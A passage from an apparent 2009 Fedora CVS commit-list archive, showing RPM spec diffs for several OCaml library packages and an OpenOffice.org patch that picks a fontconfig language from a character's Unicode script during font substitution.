RCS file: /cvs/pkgs/rpms/ocaml-lwt/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	3 Sep 2008 21:02:17 -0000	1.2
+++ .cvsignore	8 Oct 2009 12:42:49 -0000	1.3
@@ -1 +1 @@
-lwt-1.1.0.tar.gz
+lwt-2.0.0+rc1.tar.gz


Index: ocaml-lwt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-lwt/devel/ocaml-lwt.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- ocaml-lwt.spec	25 Jul 2009 19:59:20 -0000	1.7
+++ ocaml-lwt.spec	8 Oct 2009 12:42:49 -0000	1.8
@@ -2,14 +2,14 @@
 %define debug_package %{nil}
 
 Name:           ocaml-lwt
-Version:        1.1.0
-Release:        6%{?dist}
+Version:        2.0.0
+Release:        0.rc1%{?dist}
 Summary:        OCaml lightweight thread library
 
 Group:          Development/Libraries
 License:        LGPLv2+ with exceptions
-URL:            http://ocsigen.org/install/lwt
-Source0:        http://ocsigen.org/download/lwt-%{version}.tar.gz
+URL:            http://ocsigen.org/lwt
+Source0:        http://ocsigen.org/download/lwt-%{version}+rc1.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    sparc64 s390 s390x
 
@@ -17,6 +17,8 @@ BuildRequires:  ocaml >= 3.10.0
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
 BuildRequires:  ocaml-ssl >= 0.4.0
+BuildRequires:  ocaml-react >= 0.9.0
+BuildRequires:  chrpath
 
 %define _use_internal_dependency_generator 0
 %define __find_requires /usr/lib/rpm/ocaml-find-requires.sh
@@ -40,7 +42,7 @@ developing applications that use %{name}
 
 
 %prep
-%setup -q -n lwt-%{version}
+%setup -q -n lwt-%{version}+rc1
 
 mv README README.old
 iconv -f iso-8859-1 -t utf-8 < README.old > README
@@ -57,6 +59,9 @@ export OCAMLFIND_DESTDIR=$RPM_BUILD_ROOT
 mkdir -p $OCAMLFIND_DESTDIR $OCAMLFIND_DESTDIR/stublibs
 make install
 
+strip $OCAMLFIND_DESTDIR/stublibs/dll*.so
+chrpath --delete $OCAMLFIND_DESTDIR/stublibs/dll*.so
+
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -72,11 +77,13 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{_libdir}/ocaml/lwt/*.cmx
 %endif
 %exclude %{_libdir}/ocaml/lwt/*.mli
+%{_libdir}/ocaml/stublibs/*.so
+%{_libdir}/ocaml/stublibs/*.so.owner
 
 
 %files devel
 %defattr(-,root,root,-)
-%doc LICENSE COPYING CHANGES CHANGES.darcs README VERSION _build/lwt.docdir
+%doc LICENSE COPYING CHANGES CHANGES.darcs README VERSION
 %if %opt
 %{_libdir}/ocaml/lwt/*.a
 %{_libdir}/ocaml/lwt/*.cmxa
@@ -86,6 +93,11 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 2.0.0-0.rc1.fc13
+- New upstream version 2.0.0+rc1.
+- NB. This cannot be built as it depends on new package ocaml-react
+  (RHBZ#527971).
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.1.0-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-lwt/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	3 Sep 2008 21:02:17 -0000	1.2
+++ sources	8 Oct 2009 12:42:49 -0000	1.3
@@ -1 +1 @@
-dcc43458f3e39647bb7992749de43fa5  lwt-1.1.0.tar.gz
+da266196ee3a1245eed3cf5df09f9ce1  lwt-2.0.0+rc1.tar.gz



From rjones at fedoraproject.org  Thu Oct  8 12:47:34 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 12:47:34 +0000 (UTC)
Subject: rpms/ocaml-fileutils/devel ocaml-fileutils.spec,1.10,1.11
Message-ID: <20091008124734.250AE11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-fileutils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6069

Modified Files:
	ocaml-fileutils.spec 
Log Message:
- Needs ounit in order to carry out the tests.



Index: ocaml-fileutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-fileutils/devel/ocaml-fileutils.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- ocaml-fileutils.spec	8 Oct 2009 12:17:05 -0000	1.10
+++ ocaml-fileutils.spec	8 Oct 2009 12:47:33 -0000	1.11
@@ -3,7 +3,7 @@
 
 Name:           ocaml-fileutils
 Version:        0.4.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        OCaml library for common file and filename operations
 
 Group:          Development/Libraries
@@ -17,6 +17,7 @@ BuildRequires:  ocaml
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
 BuildRequires:  ocaml-camlp4-devel
+BuildRequires:  ocaml-ounit-devel
 
 %define _use_internal_dependency_generator 0
 %define __find_requires /usr/lib/rpm/ocaml-find-requires.sh
@@ -98,11 +99,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4.0-1
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.4.0-2
 - New upstream version 0.4.0.
 - Upstream build system has been rationalized, so remove all the
   hacks we were using.
 - Upstream now contains tests, run them.
+- Needs ounit in order to carry out the tests.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.0-11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From rjones at fedoraproject.org  Thu Oct  8 12:52:18 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 12:52:18 +0000 (UTC)
Subject: rpms/ocaml-mikmatch/devel .cvsignore, 1.2, 1.3 ocaml-mikmatch.spec, 
	1.8, 1.9 sources, 1.2, 1.3
Message-ID: <20091008125219.0047411C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-mikmatch/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7069

Modified Files:
	.cvsignore ocaml-mikmatch.spec sources 
Log Message:
- New upstream version 1.0.2.
- Removed dynlink patch (now upstream).



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-mikmatch/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	24 Aug 2008 09:51:35 -0000	1.2
+++ .cvsignore	8 Oct 2009 12:52:18 -0000	1.3
@@ -1 +1 @@
-mikmatch-1.0.0.tar.bz2
+mikmatch-1.0.2.tar.bz2


Index: ocaml-mikmatch.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-mikmatch/devel/ocaml-mikmatch.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- ocaml-mikmatch.spec	25 Jul 2009 19:59:36 -0000	1.8
+++ ocaml-mikmatch.spec	8 Oct 2009 12:52:18 -0000	1.9
@@ -2,8 +2,8 @@
 %define debug_package %{nil}
 
 Name:           ocaml-mikmatch
-Version:        1.0.0
-Release:        7%{?dist}
+Version:        1.0.2
+Release:        1%{?dist}
 Summary:        OCaml extension for pattern matching with regexps
 
 Group:          Development/Libraries
@@ -13,8 +13,6 @@ Source0:        http://martin.jambon.fre
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    sparc64 s390 s390x
 
-Patch0:         ocaml-mikmatch-1.0.0-dynlink.patch
-
 BuildRequires:  ocaml >= 3.11.0
 BuildRequires:  ocaml-findlib-devel
 BuildRequires:  ocaml-ocamldoc
@@ -54,7 +52,6 @@ developing applications that use %{name}
 
 %prep
 %setup -q -n mikmatch-%{version}
-%patch0 -p1
 
 
 %build
@@ -109,6 +106,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.2-1
+- New upstream version 1.0.2.
+- Removed dynlink patch (now upstream).
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.0-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-mikmatch/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	24 Aug 2008 09:51:37 -0000	1.2
+++ sources	8 Oct 2009 12:52:18 -0000	1.3
@@ -1 +1 @@
-39a649bfea0217880d3a343193b128c3  mikmatch-1.0.0.tar.bz2
+aa1846c37dd3bd20fbbe9e2b57d35bf2  mikmatch-1.0.2.tar.bz2



From caolanm at fedoraproject.org  Thu Oct  8 12:56:43 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu,  8 Oct 2009 12:56:43 +0000 (UTC)
Subject: rpms/openoffice.org/F-12
	openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch,
	NONE, 1.1 openoffice.org.spec, 1.2015, 1.2016
Message-ID: <20091008125643.5158211C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8700/F-12

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch 
Log Message:
Resolves: rhbz#527719 add openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch

openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch:
 source/fontmanager/fontconfig.cxx |  142 +++++++++++++++++++++++++++++++++++++-
 util/makefile.mk                  |    1 
 2 files changed, 141 insertions(+), 2 deletions(-)

--- NEW FILE openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch ---
diff -ru psprint.orig/source/fontmanager/fontconfig.cxx psprint/source/fontmanager/fontconfig.cxx
--- psprint.orig/source/fontmanager/fontconfig.cxx	2009-10-08 13:25:00.000000000 +0100
+++ psprint/source/fontmanager/fontconfig.cxx	2009-10-08 13:51:51.000000000 +0100
@@ -82,6 +82,9 @@
 #include <rtl/locale.hxx>
 #include <sal/alloca.h>
 
+#include <i18nutil/unicode.hxx>  //unicode::getUnicodeScriptType
+#include <com/sun/star/i18n/ScriptType.hdl> //ScriptType
+
 #include <utility>
 #include <algorithm>
 
@@ -895,6 +898,138 @@
     }
 }
 
+const char* pick_sample_language(const sal_uInt32 cCode)
+{
+    using namespace ::com::sun::star::i18n;
+
+    static ScriptTypeList aScripts[] =
+    {
+        { UnicodeScript_kBasicLatin, UnicodeScript_kBasicLatin, UnicodeScript_kBasicLatin },
+        { UnicodeScript_kLatin1Supplement, UnicodeScript_kLatin1Supplement, UnicodeScript_kLatin1Supplement },
+        { UnicodeScript_kLatinExtendedA, UnicodeScript_kLatinExtendedA, UnicodeScript_kLatinExtendedA },
+        { UnicodeScript_kLatinExtendedB, UnicodeScript_kLatinExtendedB, UnicodeScript_kLatinExtendedB },
+        { UnicodeScript_kGreek, UnicodeScript_kGreek, UnicodeScript_kGreek },
+        { UnicodeScript_kCyrillic, UnicodeScript_kCyrillic, UnicodeScript_kCyrillic },
+        { UnicodeScript_kArmenian, UnicodeScript_kArmenian, UnicodeScript_kArmenian },
+        { UnicodeScript_kHebrew, UnicodeScript_kHebrew, UnicodeScript_kHebrew },
+        { UnicodeScript_kArabic, UnicodeScript_kArabic, UnicodeScript_kArabic },
+        { UnicodeScript_kSyriac, UnicodeScript_kSyriac, UnicodeScript_kSyriac },
+        { UnicodeScript_kThaana, UnicodeScript_kThaana, UnicodeScript_kThaana },
+        { UnicodeScript_kDevanagari, UnicodeScript_kDevanagari, UnicodeScript_kDevanagari },
+        { UnicodeScript_kBengali, UnicodeScript_kBengali, UnicodeScript_kBengali },
+        { UnicodeScript_kGurmukhi, UnicodeScript_kGurmukhi, UnicodeScript_kGurmukhi },
+        { UnicodeScript_kGujarati, UnicodeScript_kGujarati, UnicodeScript_kGujarati },
+        { UnicodeScript_kOriya, UnicodeScript_kOriya, UnicodeScript_kOriya },
+        { UnicodeScript_kTamil, UnicodeScript_kTamil, UnicodeScript_kTamil },
+        { UnicodeScript_kTelugu, UnicodeScript_kTelugu, UnicodeScript_kTelugu },
+        { UnicodeScript_kKannada, UnicodeScript_kKannada, UnicodeScript_kKannada },
+        { UnicodeScript_kMalayalam, UnicodeScript_kMalayalam, UnicodeScript_kMalayalam },
+        { UnicodeScript_kSinhala, UnicodeScript_kSinhala, UnicodeScript_kSinhala },
+        { UnicodeScript_kThai, UnicodeScript_kThai, UnicodeScript_kThai },
+        { UnicodeScript_kLao, UnicodeScript_kLao, UnicodeScript_kLao },
+        { UnicodeScript_kTibetan, UnicodeScript_kTibetan, UnicodeScript_kTibetan },
+        { UnicodeScript_kMyanmar, UnicodeScript_kMyanmar, UnicodeScript_kMyanmar },
+        { UnicodeScript_kGeorgian, UnicodeScript_kGeorgian, UnicodeScript_kGeorgian },
+        { UnicodeScript_kHangulJamo, UnicodeScript_kHangulJamo, UnicodeScript_kHangulJamo },
+        { UnicodeScript_kEthiopic, UnicodeScript_kEthiopic, UnicodeScript_kEthiopic },
+        { UnicodeScript_kCherokee, UnicodeScript_kCherokee, UnicodeScript_kCherokee },
+        { UnicodeScript_kUnifiedCanadianAboriginalSyllabics, 
+            UnicodeScript_kUnifiedCanadianAboriginalSyllabics, 
+            UnicodeScript_kUnifiedCanadianAboriginalSyllabics },
+        { UnicodeScript_kKhmer, UnicodeScript_kKhmer, UnicodeScript_kKhmer },
+        { UnicodeScript_kMongolian, UnicodeScript_kMongolian, UnicodeScript_kMongolian },
+        { UnicodeScript_kLatinExtendedAdditional, UnicodeScript_kLatinExtendedAdditional,
+          UnicodeScript_kLatinExtendedAdditional },
+        { UnicodeScript_kGreekExtended, UnicodeScript_kGreekExtended, UnicodeScript_kGreekExtended },
+        { UnicodeScript_kHiragana, UnicodeScript_kHiragana, UnicodeScript_kHiragana },
+        { UnicodeScript_kKatakana, UnicodeScript_kKatakana, UnicodeScript_kKatakana },
+        { UnicodeScript_kHangulCompatibilityJamo, UnicodeScript_kHangulCompatibilityJamo, 
+          UnicodeScript_kHangulCompatibilityJamo },
+        { UnicodeScript_kHangulSyllable, UnicodeScript_kHangulSyllable,
+          UnicodeScript_kHangulSyllable },
+        { UnicodeScript_kArabicPresentationB, UnicodeScript_kArabicPresentationB,
+          UnicodeScript_kArabicPresentationB },
+        { UnicodeScript_kScriptCount, UnicodeScript_kScriptCount, UnicodeScript_kScriptCount }
+    };
+
+    switch (unicode::getUnicodeScriptType(cCode, aScripts, UnicodeScript_kScriptCount))
+    {
+        case UnicodeScript_kBasicLatin:
+        case UnicodeScript_kLatin1Supplement:
+        case UnicodeScript_kLatinExtendedA:
+        case UnicodeScript_kLatinExtendedB:
+        case UnicodeScript_kLatinExtendedAdditional:
+            return "en";
+        case UnicodeScript_kGreek:
+        case UnicodeScript_kGreekExtended:
+            return "el";
+        case UnicodeScript_kCyrillic:
+            return "ru";
+        case UnicodeScript_kArmenian:
+            return "hy";
+        case UnicodeScript_kHebrew:
+            return "he";
+        case UnicodeScript_kArabic:
+        case UnicodeScript_kArabicPresentationB:
+            return "ar";
+        case UnicodeScript_kSyriac:
+            return "syr";
+        case UnicodeScript_kThaana:
+            return "dv";
+        case UnicodeScript_kDevanagari:
+            return "hi";
+        case UnicodeScript_kBengali:
+            return "bn";
+        case UnicodeScript_kGurmukhi:
+            return "pa";
+        case UnicodeScript_kGujarati:
+            return "gu";
+        case UnicodeScript_kOriya:
+            return "or";
+        case UnicodeScript_kTamil:
+            return "ta";
+        case UnicodeScript_kTelugu:
+            return "te";
+        case UnicodeScript_kKannada:
+            return "ka";
+        case UnicodeScript_kMalayalam:
+            return "ml";
+        case UnicodeScript_kSinhala:
+            return "si";
+        case UnicodeScript_kThai:
+            return "th";
+        case UnicodeScript_kLao:
+            return "lo";
+        case UnicodeScript_kTibetan:
+            return "bo";
+        case UnicodeScript_kMyanmar:
+            return "my";
+        case UnicodeScript_kGeorgian:
+            return "ka";
+        case UnicodeScript_kHangulJamo:
+        case UnicodeScript_kHangulCompatibilityJamo:
+        case UnicodeScript_kHangulSyllable:
+            return "ko";
+        case UnicodeScript_kEthiopic:
+            return "am";
+        case UnicodeScript_kCherokee:
+            return "chr";
+        case UnicodeScript_kUnifiedCanadianAboriginalSyllabics:
+            return "ui";
+        case UnicodeScript_kKhmer:
+            return "km";
+        case UnicodeScript_kMongolian:
+            return "mn";
+        case UnicodeScript_kHiragana:
+        case UnicodeScript_kKatakana:
+            return "ja";
+        default:
+            break;
+    }
+
+    return NULL;
+}
+
 rtl::OUString PrintFontManager::Substitute(const rtl::OUString& rFontName,
     rtl::OUString& rMissingCodes, const rtl::OString &rLangAttrib,
     italic::type &rItalic, weight::type &rWeight,
@@ -916,8 +1051,6 @@
     rWrapper.FcPatternAddString( pPattern, FC_FAMILY, pTargetNameUtf8 );
 
     const FcChar8* pLangAttribUtf8 = (FcChar8*)rLangAttrib.getStr();
-    if( rLangAttrib.getLength() )
-        rWrapper.FcPatternAddString( pPattern, FC_LANG, pLangAttribUtf8 );
 
     // Add required Unicode characters, if any
     if ( rMissingCodes.getLength() )
@@ -928,11 +1061,16 @@
            // also handle unicode surrogates
            const sal_uInt32 nCode = rMissingCodes.iterateCodePoints( &nStrIndex );
            rWrapper.FcCharSetAddChar( unicodes, nCode );
+           if (!pLangAttribUtf8)
+               pLangAttribUtf8 = (const FcChar8*)pick_sample_language(nCode);
        }
        rWrapper.FcPatternAddCharSet( pPattern, FC_CHARSET, unicodes);
        rWrapper.FcCharSetDestroy( unicodes );
     }
 
+    if( pLangAttribUtf8 )
+        rWrapper.FcPatternAddString( pPattern, FC_LANG, pLangAttribUtf8 );
+
     addtopattern(rWrapper, pPattern, rItalic, rWeight, rWidth, rPitch);
 
     // query fontconfig for a substitute
diff -ru psprint.orig/util/makefile.mk psprint/util/makefile.mk
--- psprint.orig/util/makefile.mk	2009-10-08 13:25:00.000000000 +0100
+++ psprint/util/makefile.mk	2009-10-08 13:25:09.000000000 +0100
@@ -67,6 +67,7 @@
 
 SHL1STDLIBS=$(UNOTOOLSLIB)		\
 			$(I18NISOLANGLIB) 	\
+			$(I18NUTILLIB)		\
 			$(I18NPAPERLIB) 	\
 			$(TOOLSLIB) 		\
             $(COMPHELPERLIB)    \


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/F-12/openoffice.org.spec,v
retrieving revision 1.2015
retrieving revision 1.2016
diff -u -p -r1.2015 -r1.2016
--- openoffice.org.spec	5 Oct 2009 11:50:37 -0000	1.2015
+++ openoffice.org.spec	8 Oct 2009 12:56:42 -0000	1.2016
@@ -163,6 +163,7 @@ Patch86: openoffice.org-3.1.1.oooXXXXXX.
 Patch87: workspace.aw073.patch
 Patch88: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
 Patch89: openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch
+Patch90: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1712,6 +1713,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch87 -p0 -b .workspace.aw073.patch
 %patch88 -p0 -b .ooo92671.vcl.coverageformat2.patch
 %patch89 -p0 -b .ooo105613.vcl.a11y.exceptions.patch
+%patch90 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4245,8 +4247,9 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Mon Oct 05 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11-UNRELEASED
+* Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
 - Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch (caolanm)
+- Resolves: rhbz#527719 add openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
 
 * Wed Sep 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.10
 - Resolves: rhbz#461617 gsub coverage format 2 with greater than 1 ranges (caolanm)



From caolanm at fedoraproject.org  Thu Oct  8 12:56:43 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu,  8 Oct 2009 12:56:43 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch,
	NONE, 1.1 openoffice.org.spec, 1.2017, 1.2018
Message-ID: <20091008125643.AC57F11C00DB@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8700/devel

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch 
Log Message:
Resolves: rhbz#527719 add openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch

openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch:
 source/fontmanager/fontconfig.cxx |  142 +++++++++++++++++++++++++++++++++++++-
 util/makefile.mk                  |    1 
 2 files changed, 141 insertions(+), 2 deletions(-)

--- NEW FILE openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch ---
diff -ru psprint.orig/source/fontmanager/fontconfig.cxx psprint/source/fontmanager/fontconfig.cxx
--- psprint.orig/source/fontmanager/fontconfig.cxx	2009-10-08 13:25:00.000000000 +0100
+++ psprint/source/fontmanager/fontconfig.cxx	2009-10-08 13:51:51.000000000 +0100
@@ -82,6 +82,9 @@
 #include <rtl/locale.hxx>
 #include <sal/alloca.h>
 
+#include <i18nutil/unicode.hxx>  //unicode::getUnicodeScriptType
+#include <com/sun/star/i18n/ScriptType.hdl> //ScriptType
+
 #include <utility>
 #include <algorithm>
 
@@ -895,6 +898,138 @@
     }
 }
 
+const char* pick_sample_language(const sal_uInt32 cCode)
+{
+    using namespace ::com::sun::star::i18n;
+
+    static ScriptTypeList aScripts[] =
+    {
+        { UnicodeScript_kBasicLatin, UnicodeScript_kBasicLatin, UnicodeScript_kBasicLatin },
+        { UnicodeScript_kLatin1Supplement, UnicodeScript_kLatin1Supplement, UnicodeScript_kLatin1Supplement },
+        { UnicodeScript_kLatinExtendedA, UnicodeScript_kLatinExtendedA, UnicodeScript_kLatinExtendedA },
+        { UnicodeScript_kLatinExtendedB, UnicodeScript_kLatinExtendedB, UnicodeScript_kLatinExtendedB },
+        { UnicodeScript_kGreek, UnicodeScript_kGreek, UnicodeScript_kGreek },
+        { UnicodeScript_kCyrillic, UnicodeScript_kCyrillic, UnicodeScript_kCyrillic },
+        { UnicodeScript_kArmenian, UnicodeScript_kArmenian, UnicodeScript_kArmenian },
+        { UnicodeScript_kHebrew, UnicodeScript_kHebrew, UnicodeScript_kHebrew },
+        { UnicodeScript_kArabic, UnicodeScript_kArabic, UnicodeScript_kArabic },
+        { UnicodeScript_kSyriac, UnicodeScript_kSyriac, UnicodeScript_kSyriac },
+        { UnicodeScript_kThaana, UnicodeScript_kThaana, UnicodeScript_kThaana },
+        { UnicodeScript_kDevanagari, UnicodeScript_kDevanagari, UnicodeScript_kDevanagari },
+        { UnicodeScript_kBengali, UnicodeScript_kBengali, UnicodeScript_kBengali },
+        { UnicodeScript_kGurmukhi, UnicodeScript_kGurmukhi, UnicodeScript_kGurmukhi },
+        { UnicodeScript_kGujarati, UnicodeScript_kGujarati, UnicodeScript_kGujarati },
+        { UnicodeScript_kOriya, UnicodeScript_kOriya, UnicodeScript_kOriya },
+        { UnicodeScript_kTamil, UnicodeScript_kTamil, UnicodeScript_kTamil },
+        { UnicodeScript_kTelugu, UnicodeScript_kTelugu, UnicodeScript_kTelugu },
+        { UnicodeScript_kKannada, UnicodeScript_kKannada, UnicodeScript_kKannada },
+        { UnicodeScript_kMalayalam, UnicodeScript_kMalayalam, UnicodeScript_kMalayalam },
+        { UnicodeScript_kSinhala, UnicodeScript_kSinhala, UnicodeScript_kSinhala },
+        { UnicodeScript_kThai, UnicodeScript_kThai, UnicodeScript_kThai },
+        { UnicodeScript_kLao, UnicodeScript_kLao, UnicodeScript_kLao },
+        { UnicodeScript_kTibetan, UnicodeScript_kTibetan, UnicodeScript_kTibetan },
+        { UnicodeScript_kMyanmar, UnicodeScript_kMyanmar, UnicodeScript_kMyanmar },
+        { UnicodeScript_kGeorgian, UnicodeScript_kGeorgian, UnicodeScript_kGeorgian },
+        { UnicodeScript_kHangulJamo, UnicodeScript_kHangulJamo, UnicodeScript_kHangulJamo },
+        { UnicodeScript_kEthiopic, UnicodeScript_kEthiopic, UnicodeScript_kEthiopic },
+        { UnicodeScript_kCherokee, UnicodeScript_kCherokee, UnicodeScript_kCherokee },
+        { UnicodeScript_kUnifiedCanadianAboriginalSyllabics, 
+            UnicodeScript_kUnifiedCanadianAboriginalSyllabics, 
+            UnicodeScript_kUnifiedCanadianAboriginalSyllabics },
+        { UnicodeScript_kKhmer, UnicodeScript_kKhmer, UnicodeScript_kKhmer },
+        { UnicodeScript_kMongolian, UnicodeScript_kMongolian, UnicodeScript_kMongolian },
+        { UnicodeScript_kLatinExtendedAdditional, UnicodeScript_kLatinExtendedAdditional,
+          UnicodeScript_kLatinExtendedAdditional },
+        { UnicodeScript_kGreekExtended, UnicodeScript_kGreekExtended, UnicodeScript_kGreekExtended },
+        { UnicodeScript_kHiragana, UnicodeScript_kHiragana, UnicodeScript_kHiragana },
+        { UnicodeScript_kKatakana, UnicodeScript_kKatakana, UnicodeScript_kKatakana },
+        { UnicodeScript_kHangulCompatibilityJamo, UnicodeScript_kHangulCompatibilityJamo, 
+          UnicodeScript_kHangulCompatibilityJamo },
+        { UnicodeScript_kHangulSyllable, UnicodeScript_kHangulSyllable,
+          UnicodeScript_kHangulSyllable },
+        { UnicodeScript_kArabicPresentationB, UnicodeScript_kArabicPresentationB,
+          UnicodeScript_kArabicPresentationB },
+        { UnicodeScript_kScriptCount, UnicodeScript_kScriptCount, UnicodeScript_kScriptCount }
+    };
+
+    switch (unicode::getUnicodeScriptType(cCode, aScripts, UnicodeScript_kScriptCount))
+    {
+        case UnicodeScript_kBasicLatin:
+        case UnicodeScript_kLatin1Supplement:
+        case UnicodeScript_kLatinExtendedA:
+        case UnicodeScript_kLatinExtendedB:
+        case UnicodeScript_kLatinExtendedAdditional:
+            return "en";
+        case UnicodeScript_kGreek:
+        case UnicodeScript_kGreekExtended:
+            return "el";
+        case UnicodeScript_kCyrillic:
+            return "ru";
+        case UnicodeScript_kArmenian:
+            return "hy";
+        case UnicodeScript_kHebrew:
+            return "he";
+        case UnicodeScript_kArabic:
+        case UnicodeScript_kArabicPresentationB:
+            return "ar";
+        case UnicodeScript_kSyriac:
+            return "syr";
+        case UnicodeScript_kThaana:
+            return "dv";
+        case UnicodeScript_kDevanagari:
+            return "hi";
+        case UnicodeScript_kBengali:
+            return "bn";
+        case UnicodeScript_kGurmukhi:
+            return "pa";
+        case UnicodeScript_kGujarati:
+            return "gu";
+        case UnicodeScript_kOriya:
+            return "or";
+        case UnicodeScript_kTamil:
+            return "ta";
+        case UnicodeScript_kTelugu:
+            return "te";
+        case UnicodeScript_kKannada:
+            return "ka";
+        case UnicodeScript_kMalayalam:
+            return "ml";
+        case UnicodeScript_kSinhala:
+            return "si";
+        case UnicodeScript_kThai:
+            return "th";
+        case UnicodeScript_kLao:
+            return "lo";
+        case UnicodeScript_kTibetan:
+            return "bo";
+        case UnicodeScript_kMyanmar:
+            return "my";
+        case UnicodeScript_kGeorgian:
+            return "ka";
+        case UnicodeScript_kHangulJamo:
+        case UnicodeScript_kHangulCompatibilityJamo:
+        case UnicodeScript_kHangulSyllable:
+            return "ko";
+        case UnicodeScript_kEthiopic:
+            return "am";
+        case UnicodeScript_kCherokee:
+            return "chr";
+        case UnicodeScript_kUnifiedCanadianAboriginalSyllabics:
+            return "ui";
+        case UnicodeScript_kKhmer:
+            return "km";
+        case UnicodeScript_kMongolian:
+            return "mn";
+        case UnicodeScript_kHiragana:
+        case UnicodeScript_kKatakana:
+            return "ja";
+        default:
+            break;
+    }
+
+    return NULL;
+}
+
 rtl::OUString PrintFontManager::Substitute(const rtl::OUString& rFontName,
     rtl::OUString& rMissingCodes, const rtl::OString &rLangAttrib,
     italic::type &rItalic, weight::type &rWeight,
@@ -916,8 +1051,6 @@
     rWrapper.FcPatternAddString( pPattern, FC_FAMILY, pTargetNameUtf8 );
 
     const FcChar8* pLangAttribUtf8 = (FcChar8*)rLangAttrib.getStr();
-    if( rLangAttrib.getLength() )
-        rWrapper.FcPatternAddString( pPattern, FC_LANG, pLangAttribUtf8 );
 
     // Add required Unicode characters, if any
